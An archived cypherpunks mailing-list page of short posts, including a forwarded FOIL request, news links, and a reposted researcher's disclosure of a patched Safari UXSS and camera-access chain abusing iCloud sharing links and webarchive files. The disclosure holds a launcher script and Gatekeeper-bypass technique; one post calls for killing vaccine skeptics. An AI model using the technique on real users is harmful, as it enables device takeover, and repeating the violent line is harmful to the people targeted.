January 2022 - cypherpunks - lists.cpunks.org

Fwd: FOIL Request Confirmation from Open FOIL NY
by Gunnar Larson 26 Jan '22

26 Jan '22

FYI ---------- Forwarded message --------- From: <noreply(a)its.ny.gov> Date: Wed, Jan 26, 2022 at 8:57 AM Subject: FOIL Request Confirmation from Open FOIL NY To: <g(a)xny.io> Thank you for submitting your FOIL request through Open FOIL NY. Here is your Open FOIL NY confirmation information for future reference: LARSON_DFS_20220126085729415 LARSON_DHSES_20220126085729415 *INFORMATION SUBMITTED:* *Records Requested From* Department of Financial Services Division of Homeland Security and Emergency Services *Short Title* Lending Club Board of Directors - September 11 NY-DFS September 11 Resignation *Description* Dear Sir or Madam: Please submit any and all records related to the LendingClub.com September 11 Board of Directors resignation below. The date of the resignation is in question. You may understand the sensitive nature of the date of the resignation. Gunnar Larson Sun, Oct 24, 2021, 5:06 PM to Anuj, Investor, Press Hello there: Thank you very much for the reply. Gunnar On Sun, Oct 24, 2021, 11:36 AM Anuj Nayar wrote: Hi Gunnar On September 11, 2021, in connection with her nomination to serve as superintendent of the New York State Department of Financial Services, Adrienne Harris notified us of her resignation, effective September 12, 2021, from the Company’s Board. Details can be found in the 8k filed on 9/15/21 (below) https://d18rn0p25nwr6d.cloudfront.net/CIK-0001409970/bbc437e4-2920-4d5d-8e0… From: Gunnar Larson Date: Saturday, October 23, 2021 at 9:37 AM To: Investor Relations , Press Cc: Gunnar Larson Subject: [EXT] LendingClub: Current Board of Directors CAUTION: This email originated from outside of the organization. Do not click links or open attachments unless you recognize the sender and know the content is safe. Dear Madam or Sir: Good day to you. Surveying market research, I was wondering if you can kindly confirm, from LendingClub's July 15, 2021 press release: Is Ms. Adrienne Harris currently a member of LendingClub's board of directors? https://www.prnewswire.com/news-releases/lendingclub-appoints-adrienne-harr… [prnewswire.com] Reviewing your website, Ms. Harris is not referenced: https://www.lendingclub.com/company/leadership Bloomberg and other sources do not reference Ms. Harris as a LendingClub board member: https://www.bloomberg.com/quote/LC:US [bloomberg.com] Sending you the very best regards. Thank you, Gunnar -- Gunnar Larson - xNY.io [xny.io] | Bank.org [bank.org] MSc [unic.ac.cy] - Digital Currency MBA [unic.ac.cy] - Entrepreneurship and Innovation (ip) G(a)xNY.io +1-646-454-9107 New York, New York 10001 *Uploaded Files* *FOIL Response Format* Email *If fees apply, please contact me if costs will be greater than* $1000000 Your FOIL request has been forwarded to the organization(s) you selected, and the respective Records Access Officer will contact you directly for further processing of your request. Please allow up to five business days for such communication(s). For your convenience, here is additional contact information: Department of Financial Services One State Street 20th Floor New York, NY 10004 Division of Homeland Security and Emergency Services 1220 Washington Ave Building 7A Albany, NY 12226 -- *Gunnar Larson - xNY.io <http://www.xNY.io> | Bank.org <http://Bank.org>* MSc <https://www.unic.ac.cy/blockchain/msc-digital-currency/?utm_source=Google&u…> - Digital Currency MBA <https://www.unic.ac.cy/business-administration-entrepreneurship-and-innovat…> - Entrepreneurship and Innovation (ip) G(a)xNY.io +1-646-454-9107 New York, New York 10001

1 0

Linda Lacewell
by Gunnar Larson 26 Jan '22

26 Jan '22

We went from Linda Lacewell, to worse. New York better produce. We have been calling. No call back. Guess we best amp it up. -- *Gunnar Larson - xNY.io <http://www.xNY.io> | Bank.org <http://Bank.org>* MSc <https://www.unic.ac.cy/blockchain/msc-digital-currency/?utm_source=Google&u…> - Digital Currency MBA <https://www.unic.ac.cy/business-administration-entrepreneurship-and-innovat…> - Entrepreneurship and Innovation (ip) G(a)xNY.io +1-646-454-9107 New York, New York 10001

1 0

Exciting AP news from Europe!
by professor rat 26 Jan '22

26 Jan '22

In Germany, activists rise up to counter vaccine skeptics By KIRSTEN GRIESHABER today https://apnews.com/article/coronavirus-pandemic-health-business-berlin-reli… Batshit-crazy anti-vaxxers have all earned killing.

1 0

One good thing about Pooter
by professor rat 26 Jan '22

26 Jan '22

He knows how to treat a Ross Ulbricht supporter https://www.google.com/search?q=pussy+riot+sochi&client=opera&hs=GMQ&source…

1 0

Last interesting SLATE article nearly 20 years old
by professor rat 26 Jan '22

26 Jan '22

Jim Bell is cowardly and dumb - sorry - Ron Wyden - I get these Oregon shitheels confused. https://slate.com/news-and-politics/2003/07/save-the-pentagon-futures-marke…

1 0

Slate: Can FreeRossDAO get Silk Road founder Ross Ulbricht out of prison?
by jim bell 26 Jan '22

26 Jan '22

Slate: Can FreeRossDAO get Silk Road founder Ross Ulbricht out of prison?. https://slate.com/technology/2022/01/ross-ulbricht-dao-silk-road-prison.html "Ross Ulbricht has been trying to keep busy. Currently incarcerated in a high-security federal prison in Tucson, Arizona, the man infamous for creating one of the internet’s shadiest marketplaces spends his days reading books about artificial intelligence and physics and writing essays about encryption and blockchain technology. He also meditates, teaches GED classes, and draws dreamlike sketches of his life in prison by pencil. “Decades of incarceration stretch out in front of me,” Ulbricht wrote in a November Medium post. “As I face that future — my eventual old age and death in this cage — I find myself looking for meaning and purpose.” "

1 0

Hacking the Apple Webcam (again)
by zeynepaydogan 26 Jan '22

26 Jan '22

https://www.ryanpickren.com/safari-uxss Hacking the Apple Webcam (again) Gaining unauthorized camera access via Safari UXSS: the story of how a shared iCloud document can hack every website you've ever visited. Background Apple fixed my last 0day chain (CVE-2020-3852 + CVE-2020-3864 + CVE-2020-3865) by making camera access drastically more difficult. Now multimedia access is only allowed when the protocol is "https:" and the domain matches your saved settings. This means that cleverly malformed URIs won't cut it anymore. Now we need to genuinely inject our evil code into the target origin. In other words, we need to find a Universal Cross-Site Scripting (UXSS) bug. But what exactly is UXSS? Google Project Zero has a nice summary in their paper, "[Analysis of UXSS exploits and mitigations in Chromium](https://storage.googleapis.com/pub-tools-public-publication-data/…" - "UXSS attacks exploit vulnerabilities in the browser itself [...] to achieve an XSS condition. As a result, the attacker does not just get access to user session on a single website, but may get access to any [website]." The authors of this paper go on to call UXSS "among the most significant threats for users of any browser" and "almost as valuable as a Remote Code Execution (RCE) exploit with the sandbox escape." Sounds pretty great, right? Imagine building a website that can jump into [https://zoom.com](https://zoom.com/) to turn on the camera, hop into [https://paypal.com](https://paypal.com/)to transfer money, and hijack [https://gmail.com](https://gmail.com/) to steal emails. Before we go any further, I should clarify how exactly this bug differs from my last [Safari Camera Hacking project](https://www.ryanpickren.com/webcam-hacking). That bug specifically targeted stored multimedia permissions. It did not give me the ability to execute code on arbitrary origins. Check out my [attack diagram](https://static.wixstatic.com/media/149864_ec31bf9c57244f2c9c451130… to see which origins were being used. In other words, that hack let me leverage Skype's camera permission but did not let me steal Skype's cookies. Let's try to find a UXSS bug in the latest version of Safari (Safari v15 beta at time of writing). As always, the first step is to do a lot of research into prior work. After all, the best security research comes from [standing on the shoulders of giants](https://en.wikipedia.org/wiki/Standing_on_the_shoulders_of_giants). The Attack Plan After reading numerous write-ups about patched Safari UXSS bugs, I decided to focus my research on [webarchive](https://en.wikipedia.org/wiki/Webarchive) files. These files are created by Safari as an alternative to HTML when a user saves a website locally. [Screen Shot 2021-08-12 at 10.43.16 AM.png] Safari saving a website as a Webarchive file This is an awesome trick to let Safari rebuild the context of the saved website, but as the Metasploit authors [pointed out](https://www.rapid7.com/blog/post/2013/04/25/abusing-safaris-webarchive… back in 2013, if an attacker can somehow modify this file, they could effectively achieve UXSS by-design. [According to Metasploit](https://www.rapid7.com/blog/post/2013/04/25/abusing-safaris-web…, Apple did not view this attack scenario as very realistic because "the webarchives must be downloaded and manually opened by the client." Granted this decision was made nearly a decade ago, when the browser security model wasn't nearly as mature as it is today. Apple's decision to support this ultra-powerful filetype gave way to an era of hackers trying to forcefully open them on victims' machines. Fundamentally, this attack can be broken into two steps: 1) Forcefully download an evil webarchive file 2) Forcefully open it Until recently, there were no protections to prevent step #1. Prior to Safari 13, no warnings were even displayed to the user before a website downloaded arbitrary files. So planting the webarchive file was easy. ([Now with Safari 13+](https://www.cultofmac.com/675928/how-to-stop-safari-asking-permission-…, users are prompted before each download) Opening the webarchive file was trickier, but still manageable by somehow navigating to the file:// URI scheme. Back when Safari's error pages lived on the file:// scheme, hackers figured out how to purposely invoke an error page to just alter its pathname, a hack delightfully dubbed "Errorjacking." See [here](http://vttynotes.blogspot.com/2011/03/safari-errorjacking-cve-2011-01… and [here](http://joevennix.com/2015/06/24/Adventures-in-Browser-Exploitation-Pa… for two variations. [Another approach](http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-fi… that worked back in the day was to simply set the <base> tag to file://. Fast forward to 2022 and things get a lot harder. Not only are auto-downloads prevented by default, but webarchive files are considered malicious applications by [macOS Gatekeeper](https://en.wikipedia.org/wiki/Gatekeeper_(macOS)). This means that users can't even manually open foreign webarchives themselves anymore. Apple seems to have changed their 2013 stance about how dangerous these files can be. [Screen Shot 2021-08-12 at 1.17.50 PM.png] Download prompt in Safari 13+ [Gatekeeper Webarchive Prompt] Gatekeeper Launch Prevention Still, webarchive files just seem too juicy to give up on. Let's explore how this old-school hack can still occur on the latest Safari and macOS builds. Exploration of custom URI Schemes I found success with my last [Safari Camera Hacking project](https://www.ryanpickren.com/webcam-hacking) by conducting a deep dive into [official IANA-registered URI schemes](https://en.wikipedia.org/wiki/List_of_URI_schemes#Official_IANA-re…. This project was heavily guided by RFCs and public documentation. But there is an entire world of [custom URL schemes](https://developer.apple.com/documentation/xcode/defining-a-custom-… that I neglected to talk about. These unofficial and (mostly) undocumented schemes are usually used by third party iOS/macOS apps as a form of deep linking. There is actually an entire community built around [discovering](https://github.com/phynet/iOS-URL-Schemes) and using these schemes cross-app for both [fun](https://ios.gadgethacks.com/how-to/use-google-maps-waze-with-siri-inst… and [hacking](https://grepharder.github.io/blog/0x03_learning_about_universal_links_and_fuzzing_url_schemes_on_ios_with_frida.html) projects. An interesting note is that several first-party system apps such as Apple Help Viewer (help://), FaceTime (facetime-audio://), and Apple Feedback (applefeedback://) also support custom URI schemes. Abusing these schemes from a website in Safari is not a novel technique. Indeed, hackers have been finding ways to use custom schemes to launch (and exploit bugs in) system applications for a while now. Hacks range from [annoyingly placing calls](https://www.cvedetails.com/cve/CVE-2013-6835/), [aiding in social engineering](https://www.bitcoininsider.org/article/29392/i-give-you-workin…, to [arbitrary file execution](https://bugs.chromium.org/p/project-zero/issues/detail?id=1040). Seriously, there is some [awesome research](https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-… in this space. To help combat these attacks, modern versions of Safari warn the user before blindly launching secondary applications. That is, unless they are one of the hardcoded exceptions identified in this great [Blackhat presentation](https://i.blackhat.com/eu-20/Thursday/eu-20-Zhou-Cross-Site-E…. [Screen Shot 2021-08-12 at 2.33.07 PM.png] Custom URI Schemes that Safari will launch without Prompt All of these schemes are registered with [Launch Services](https://developer.apple.com/documentation/coreservices/launch_ser…, so you can list them (and others) via this command: /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B6 bindings:.*: | grep -B6 apple-internal After digging through internal Apple schemes and cross-referencing them with the ones trusted by Safari, I found one that caught my eye- "icloud-sharing:". This scheme appears to be registered by an iCloud Sharing Application called "ShareBear." [Screen Shot 2021-08-12 at 2.38.00 PM.png] LaunchServices data about the icloud-sharing: scheme ShareBear was interesting to me because sharing iCloud documents seemed like a plausible path towards downloading & launching webarchive files. I couldn't find any publicly available documentation or research about this scheme so I just started poking at it myself. ShareBear Application At this point we have identified an application that can be automatically launched by Safari, however we do not know how to correctly open it yet. Luckily, it was pretty straight forward. Some quick research shows that [iCloud File Sharing](https://support.apple.com/guide/mac-help/share-files-with-icloud-f… can generate a public Share Link. [d69b081b8b7300b9da7fe35cb6fdaad1.png] Creating a public iCloud Share Link These Share Links look something like this: https://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem Simply replacing "https" with "icloud-sharing" is all that's needed to have Safari automatically open ShareBear with this file as a parameter. <script> location.href = 'icloud-sharing://[www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem"](http://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem%22) </script> evil.html Great, so what does ShareBear do now? Some quick testing showed this behavior: [sharebear.png] ShareBear Behavior Flowchart There is a subtle, but wildly impactful, design flaw with this behavior. Let's dig into what happens if the user has not opened this file before. The user will be shown a prompt, similar to the one below. [propt.png] ShareBear Open Prompt This innocuous little prompt, with the default value of "Open," seems pretty straightforward. A user should expect to have the image, example.png, opened if they agree. But in actuality, they are agreeing to much more than that. Once the user clicks Open, the file is downloaded onto the victim's machine at the location /Users/<user>/Library/Mobile Documents/com~apple~CloudDocs then automatically opened via Launch Services. Then the user will never see this prompt again. From that point forward, ShareBear (and thus any website in Safari) will have the ability to automatically launch this file. The truly problematic part of this agreement is that the file can be changed by anybody with write access to it. For example, the owner of the file could change the entire byte content and file extension after you agree to open it. ShareBear will then download and update the file on the victim's machine without any user interaction or notification. In essence, the victim has given the attacker permission to plant a [polymorphic file](https://en.wikipedia.org/wiki/Polymorphic_code#Malicious_code) onto their machine and the permission to remotely launch it at any moment. Yikes. Agreed to view my PNG file yesterday? Well today it's an executable binary that will be automatically launched whenever I want. Apple fixed this behavior in [macOS Monterey 12.0.1](https://support.apple.com/en-us/HT212869) as a result of my report without issuing a CVE because it is more of a design flaw than a bug per-se. Bonus Bug: Iframe Sandbox Escape While fuzzing the icloud-sharing://scheme, I stumbled upon a fun bug unrelated to the UXSS hunt. ShareBear appears to check the path of the URL for "/iclouddrive/*" before performing the behavior outlined above. If the path happens to be "/photos/*" then ShareBear makes a pretty silly mistake. It will tell Safari to open a new tab pointing to the iCloud web app... but it does not verify that the domain name is actually the iCloud web app. Quarantine and Gatekeeper Quick reminder of where we are - Our website can prompt the user to open a shared PNG file. If the user agrees, we can automatically launch this file at any point in the future, even after we alter the file content and extension. Shortcuts The above technique to open local apps is reminiscent of an old-school [symlink attack](https://capec.mitre.org/data/definitions/132.html). It basically just uses a "[shortcut](https://en.wikipedia.org/wiki/Shortcut_(computing))" to trick software into opening something it doesn't expect. Lots of different operating systems and applications have reinvented the wheel over the years when it comes to shortcuts. Nowadays, the term "shortcut" could be referring to a Unix symlink, a macOS alias, a Window's linkfile, a Safari webloc, an Edge bookmark, etc. I was hopeful that I could use this technique to bypass Gatekeeper and open a webarchive file. This idea seemed promising to me because the actual application I want to open is Safari (an existing, approved, application). Gatekeeper doesn't have a problem with me launching Safari, it just gets upset when I attempt to open any file ending in ".webarchive". So I needed to find a shortcut filetype that launches Safari, then tells Safari to open a different file. After some trial and error, I found just that - the ancient [Windows URL File](http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unoffi…! Full Chain Using ShareBear to download and open a webarchive file for us can be broken down into 3 steps: Conclusion This project was an interesting exploration of how a design flaw in one application can enable a variety of other, unrelated, bugs to become more dangerous. It was also great example of how even with macOS Gatekeeper enabled, an attacker can still achieve a lot of mischief by tricking approved apps into doing malicious things. I submitted these bugs to Apple in mid July 2021. They patched all issues in early 2022 and rewarded me $100,500 as a bounty

1 0

Government is 'forgetting' Brandenburg v. Ohio (1969) Chad Stark of Texas
by jim bell 26 Jan '22

26 Jan '22

https://www.justice.gov/opa/pr/texas-man-arrested-making-election-related-t… "A Texas man was arrested today in Travis County, Texas, for allegedly sending threatening election-related communications to government officials on Jan. 5, 2021." Chad Stark, 54, of Leander, was arrested this morning in a law enforcement operation carried out by the FBI. He is scheduled to make his initial appearance this afternoon at the federal courthouse in Austin, Texas. "This is the first criminal case brought by the Justice Department’s Election Threats Task Force. Announced by Attorney General Merrick B. Garland and launched by Deputy Attorney General Lisa O. Monaco in late June 2021, the task force is leading the department’s efforts to address threats of violence against election workers, and to ensure that all election workers — whether elected, appointed or volunteer — are able to do their jobs free from threats and intimidation. The task force engages with the election community and state and local law enforcement to assess allegations and reports of threats against election workers, and investigates and prosecutes these matters where appropriate, in partnership with FBI field offices and U.S. Attorneys’ Offices throughout the country as warranted."[Much nonsense snipped] Apparently, the Feds have already forgotten the Supreme Court case Brandenburg v. Ohio (1969).Brandenburg v. Ohio - Wikipedia | | | | Brandenburg v. Ohio - Wikipedia Clarence Brandenburg, a Ku Klux Klan (KKK) leader in rural Ohio, contacted a reporter at a Cincinnati television... | | | And for the case and syllabus itself: https://supreme.justia.com/cases/federal/us/395/444/ "Held: Since the statute, by its words and as applied, purports to punish mere advocacy and to forbid, on pain of criminal punishment, assembly with others merely to advocate the described type of action, it falls within the condemnation of the First and Fourteenth Amendments. Freedoms of speech and press do not permit a State to forbid advocacy of the use of force or of law violation except where such advocacy is directed to inciting or producing imminent lawless action and is likely to incite or produce such action. Whitney v. California, 274 U. S. 357, overruled." >From the Case: https://supreme.justia.com/cases/federal/us/395/444/ "Measured by this test, Ohio's Criminal Syndicalism Act cannot be sustained. The Act punishes persons who "advocate or teach the duty, necessity, or propriety" of violence "as a means of accomplishing industrial or political reform"; or who publish or circulate or display any book or paper containing such advocacy; or who "justify" the commission of violent acts "with intent to exemplify, spread or advocate the propriety of the doctrines of criminal syndicalism"; or who "voluntarily assemble" with a group formed "to teach or advocate the doctrines of criminal syndicalism." Neither the indictment nor the trial judge's instructions to the jury in any way refined the statute's bald definition of the crime" Page 395 U. S. 449 in terms of mere advocacy not distinguished from incitement to imminent lawless action. [Footnote 3] | | | | | | | | | | | Brandenburg v. Ohio, 395 U.S. 444 (1969) Speech that supports law-breaking or violence in general is protected by the First Amendment unless it directly ... | | | "Accordingly, we are here confronted with a statute which, by its own words and as applied, purports to punish mere advocacy and to forbid, on pain of criminal punishment, assembly with others merely to advocate the described type of action. [Footnote 4] Such a statute falls within the condemnation of the First and Fourteenth Amendments. The contrary teaching of Whitney v. California, supra, cannot be supported, and that decision is therefore overruled." | | | | | | | | | | | Brandenburg v. Ohio, 395 U.S. 444 (1969) Speech that supports law-breaking or violence in general is protected by the First Amendment unless it directly ... | | |

1 0

“Death Star” response from US would lock Russia out of 5G, advanced chips
by jim bell 26 Jan '22

26 Jan '22

“Death Star” response from US would lock Russia out of 5G, advanced chips https://share.newsbreak.com/do68bms6

1 0

New Yo Senate confirmation of her appointment as Superintendent of Financial Services.
by Gunnar Larson 26 Jan '22

26 Jan '22

#New <https://www.linkedin.com/feed/hashtag/?keywords=new&highlightedUpdateUrns=u…>: Statement by Adrienne A. Harris following New York State Senate confirmation of her appointment as Superintendent of Financial Services. https://on.ny.gov/35pWfPV. #NYDFS <https://www.linkedin.com/feed/hashtag/?keywords=nydfs&highlightedUpdateUrns…> -- *Gunnar Larson - xNY.io <http://www.xNY.io> | Bank.org <http://Bank.org>* MSc <https://www.unic.ac.cy/blockchain/msc-digital-currency/?utm_source=Google&u…> - Digital Currency MBA <https://www.unic.ac.cy/business-administration-entrepreneurship-and-innovat…> - Entrepreneurship and Innovation (ip) G(a)xNY.io +1-646-454-9107 New York, New York 10001

1 0